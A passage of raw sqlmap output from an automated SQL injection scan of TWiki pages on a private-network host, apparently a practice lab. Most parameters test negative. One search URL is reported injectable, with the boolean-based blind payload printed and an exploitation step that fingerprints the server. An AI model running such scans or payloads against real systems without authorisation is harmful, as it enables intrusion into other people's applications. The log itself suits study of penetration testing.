'http://192.168.1.113:80/twiki/bin/view/Main/TWikiGroups?rev=1.2' URL 193: GET http://192.168.1.113:80/twiki/bin/oops/Main/TWikiGroups?template=oopsmore¶m1=1.4¶m2=1.4 do you want to test this URL? [Y/n/q] Y [20:21:16] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/Main/TWikiGroups?template=oopsmore¶m1=1.4¶m2=1.4' [20:21:16] [INFO] testing connection to the target URL [20:21:16] [INFO] testing if the target URL is stable [20:21:17] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [20:21:17] [INFO] testing if GET parameter 'template' is dynamic [20:21:17] [INFO] confirming that GET parameter 'template' is dynamic [20:21:17] [INFO] GET parameter 'template' is dynamic [20:21:17] [INFO] heuristics detected web page charset 'ascii' [20:21:17] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [20:21:17] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [20:21:17] [INFO] testing for SQL injection on GET parameter 'template' [20:21:17] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:21:17] [WARNING] reflective value(s) found and filtering out [20:21:18] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:21:18] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:21:19] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:21:19] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:21:19] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:21:20] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:21:20] [INFO] testing 'MySQL inline queries' [20:21:20] [INFO] testing 'PostgreSQL inline queries' [20:21:20] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:21:20] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:21:21] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:21:21] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:21:21] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:21:22] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:21:22] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:21:23] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:21:23] [INFO] testing 'Oracle AND time-based blind' [20:21:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:21:23] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:21:28] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:21:32] [WARNING] GET parameter 'template' is not injectable [20:21:32] [INFO] testing if GET parameter 'param1' is dynamic [20:21:32] [WARNING] GET parameter 'param1' does not appear dynamic [20:21:32] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [20:21:33] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [20:21:33] [INFO] testing for SQL injection on GET parameter 'param1' [20:21:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:21:34] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:21:34] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:21:35] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:21:35] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:21:36] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:21:36] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:21:36] [INFO] testing 'MySQL inline queries' [20:21:36] [INFO] testing 'PostgreSQL inline queries' [20:21:36] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:21:37] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:21:37] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:21:37] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:21:38] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:21:38] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:21:39] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:21:39] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:21:40] [INFO] testing 'Oracle AND time-based blind' [20:21:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:21:47] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:21:53] [WARNING] GET parameter 'param1' is not injectable [20:21:53] [INFO] testing if GET parameter 'param2' is dynamic [20:21:53] [WARNING] GET parameter 'param2' does not appear dynamic [20:21:53] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [20:21:53] [INFO] testing for SQL injection on GET parameter 'param2' [20:21:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:21:54] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:21:54] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:21:55] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:21:55] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:21:56] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:21:57] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:21:57] [INFO] testing 'MySQL inline queries' [20:21:57] [INFO] testing 'PostgreSQL inline queries' [20:21:57] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:21:57] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:21:57] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:21:58] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:21:58] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:21:59] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:21:59] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:22:00] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:22:00] [INFO] testing 'Oracle AND time-based blind' [20:22:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:22:07] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:22:10] [INFO] target URL appears to be UNION injectable with 10 columns injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y [20:22:13] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') [20:22:17] [WARNING] GET parameter 'param2' is not injectable [20:22:17] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 194: GET http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=.* do you want to test this URL? [Y/n/q] Y [20:22:17] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=.' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [20:22:17] [INFO] testing connection to the target URL [20:22:17] [INFO] testing if the target URL is stable [20:22:18] [INFO] target URL is stable [20:22:18] [INFO] testing if URI parameter '#1*' is dynamic [20:22:18] [INFO] confirming that URI parameter '#1*' is dynamic [20:22:18] [INFO] URI parameter '#1*' is dynamic [20:22:18] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [20:22:18] [INFO] testing for SQL injection on URI parameter '#1*' [20:22:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:22:18] [WARNING] reflective value(s) found and filtering out [20:22:19] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:22:19] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:22:20] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:22:21] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:22:21] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:22:22] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:22:22] [INFO] testing 'MySQL inline queries' [20:22:22] [INFO] testing 'PostgreSQL inline queries' [20:22:22] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:22:22] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:22:22] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:22:23] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:22:23] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:22:24] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:22:24] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:22:25] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:22:25] [INFO] testing 'Oracle AND time-based blind' [20:22:26] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:22:26] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:22:31] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:22:36] [WARNING] URI parameter '#1*' is not injectable [20:22:36] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 195: GET http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^a do you want to test this URL? [Y/n/q] Y [20:22:36] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^a' [20:22:36] [INFO] testing connection to the target URL [20:22:37] [INFO] testing if the target URL is stable [20:22:38] [INFO] target URL is stable [20:22:38] [INFO] testing if GET parameter 'scope' is dynamic [20:22:38] [WARNING] GET parameter 'scope' does not appear dynamic [20:22:38] [WARNING] heuristic (basic) test shows that GET parameter 'scope' might not be injectable [20:22:38] [INFO] testing for SQL injection on GET parameter 'scope' [20:22:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:22:39] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:22:39] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:22:40] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:22:40] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:22:40] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:22:41] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:22:41] [INFO] testing 'MySQL inline queries' [20:22:41] [INFO] testing 'PostgreSQL inline queries' [20:22:41] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:22:41] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:22:42] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:22:42] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:22:43] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:22:43] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:22:44] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:22:44] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:22:44] [INFO] testing 'Oracle AND time-based blind' [20:22:45] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:22:45] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:22:51] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:22:56] [WARNING] GET parameter 'scope' is not injectable [20:22:56] [INFO] testing if GET parameter 'regex' is dynamic [20:22:57] [WARNING] GET parameter 'regex' does not appear dynamic [20:22:57] [WARNING] heuristic (basic) test shows that GET parameter 'regex' might not be injectable [20:22:57] [INFO] testing for SQL injection on GET parameter 'regex' [20:22:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:22:58] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:22:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:22:59] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:22:59] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:23:00] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:23:00] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:23:00] [INFO] testing 'MySQL inline queries' [20:23:00] [INFO] testing 'PostgreSQL inline queries' [20:23:00] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:23:00] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:23:01] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:23:01] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:23:02] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:23:02] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:23:03] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:23:03] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:23:04] [INFO] testing 'Oracle AND time-based blind' [20:23:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:23:10] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:23:16] [WARNING] GET parameter 'regex' is not injectable [20:23:16] [INFO] testing if GET parameter 'search' is dynamic [20:23:16] [WARNING] GET parameter 'search' does not appear dynamic [20:23:16] [WARNING] heuristic (basic) test shows that GET parameter 'search' might not be injectable [20:23:16] [INFO] testing for SQL injection on GET parameter 'search' [20:23:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:23:16] [WARNING] reflective value(s) found and filtering out [20:23:17] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:23:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:23:18] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:23:18] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:23:19] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:23:19] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:23:20] [INFO] testing 'MySQL inline queries' [20:23:20] [INFO] testing 'PostgreSQL inline queries' [20:23:20] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:23:20] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:23:20] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:23:21] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:23:21] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:23:22] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:23:22] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:23:23] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:23:23] [INFO] testing 'Oracle AND time-based blind' [20:23:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:23:29] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:23:35] [WARNING] GET parameter 'search' is not injectable [20:23:35] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^b' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^c' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^d' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^e' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^f' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^g' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^h' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^i' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^j' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^k' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^l' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^m' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^n' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^o' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^p' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^q' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^r' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^s' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^t' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^u' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^v' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^w' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^x' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^y' [20:23:35] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&search=^z' URL 196: GET http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&bookview=on&search=.* do you want to test this URL? [Y/n/q] Y [20:23:35] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/Sandbox/?scope=topic®ex=on&bookview=on&search=.' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [20:23:35] [INFO] testing connection to the target URL [20:23:36] [INFO] testing if the target URL is stable [20:23:37] [INFO] target URL is stable [20:23:37] [INFO] testing if URI parameter '#1*' is dynamic [20:23:37] [INFO] confirming that URI parameter '#1*' is dynamic [20:23:37] [INFO] URI parameter '#1*' is dynamic [20:23:37] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [20:23:37] [INFO] testing for SQL injection on URI parameter '#1*' [20:23:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:23:37] [WARNING] reflective value(s) found and filtering out [20:23:38] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:23:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:23:39] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:23:39] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:23:40] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:23:41] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:23:41] [INFO] testing 'MySQL inline queries' [20:23:41] [INFO] testing 'PostgreSQL inline queries' [20:23:41] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:23:41] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:23:42] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:23:42] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:23:42] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:23:43] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:23:43] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:23:44] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:23:44] [INFO] testing 'Oracle AND time-based blind' [20:23:45] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:23:45] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:23:51] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:23:56] [WARNING] URI parameter '#1*' is not injectable [20:23:56] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 197: GET http://192.168.1.113:80/twiki/bin/edit/Sandbox/WebSearch?t=1441457856 do you want to test this URL? [Y/n/q] Y [20:23:56] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/Sandbox/WebSearch?t=1441457856' [20:23:56] [INFO] testing connection to the target URL [20:23:57] [INFO] testing if the target URL is stable [20:23:57] [INFO] target URL is stable [20:23:57] [INFO] testing if GET parameter 't' is dynamic [20:23:57] [WARNING] GET parameter 't' does not appear dynamic [20:23:58] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [20:23:58] [INFO] testing for SQL injection on GET parameter 't' [20:23:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:23:59] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:23:59] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:23:59] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:24:00] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:24:00] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:24:01] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:24:01] [INFO] testing 'MySQL inline queries' [20:24:01] [INFO] testing 'PostgreSQL inline queries' [20:24:01] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:24:01] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:24:02] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:24:02] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:24:02] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:24:03] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:24:03] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:24:04] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:24:04] [INFO] testing 'Oracle AND time-based blind' [20:24:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:24:05] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:24:10] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:24:16] [WARNING] GET parameter 't' is not injectable [20:24:16] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 198: GET http://192.168.1.113:80/twiki/bin/search/Sandbox/SearchResult?scope=text®ex=on&search=Web Search[^A-Za-z] do you want to test this URL? [Y/n/q] Y [20:24:16] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/Sandbox/SearchResult?scope=text®ex=on&search=Web Search[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [20:24:16] [INFO] testing connection to the target URL [20:24:16] [INFO] testing if the target URL is stable [20:24:17] [INFO] target URL is stable [20:24:17] [INFO] testing if URI parameter '#1' is dynamic [20:24:17] [WARNING] URI parameter '#1*' does not appear dynamic [20:24:17] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [20:24:17] [INFO] testing for SQL injection on URI parameter '#1*' [20:24:17] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:24:17] [WARNING] reflective value(s) found and filtering out [20:24:19] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable [20:24:19] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:24:19] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:24:19] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:24:19] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:24:19] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:24:19] [INFO] testing 'MySQL inline queries' [20:24:19] [INFO] testing 'PostgreSQL inline queries' [20:24:19] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:24:19] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:24:19] [WARNING] time-based comparison requires larger statistical model, please wait......
[20:24:20] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:24:20] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:24:20] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:24:20] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:24:20] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:24:20] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:24:20] [INFO] testing 'Oracle AND time-based blind' [20:24:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [20:24:20] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:24:20] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [20:24:22] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [20:24:24] [INFO] checking if the injection point on URI parameter '#1*' is a false positive [20:24:25] [WARNING] it appears that the character '>' is filtered by the back-end server. You are strongly advised to rerun with the '--tamper=between' URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 84 HTTP(s) requests:
Parameter: #1* (URI) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://192.168.1.113:80/twiki/bin/search/Sandbox/SearchResult?scope=text®ex=on&search=Web AND 2722=2722-- hRzySearch[^A-Za-z]
do you want to exploit this SQL injection? [Y/n] Y [20:24:25] [INFO] testing MySQL [20:24:25] [WARNING] the back-end DBMS is not MySQL [20:24:25] [INFO] testing Oracle [20:24:25] [WARNING] the back-end DBMS is not Oracle [20:24:25] [INFO] testing PostgreSQL [20:24:25] [WARNING] the back-end DBMS is not PostgreSQL [20:24:25] [INFO] testing Microsoft SQL Server [20:24:25] [INFO] confirming Microsoft SQL Server [20:24:26] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Linux Ubuntu 8.04 (Hardy Heron) web application technology: Apache 2.2.8 back-end DBMS: active fingerprint: Microsoft SQL Server 2012 SQL injection vulnerability has already been detected against '192.168.1.113'. Do you want to skip further tests involving it? [Y/n] Y [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Sandbox/WebSearch?skin=print' [20:24:26] [INFO] skipping 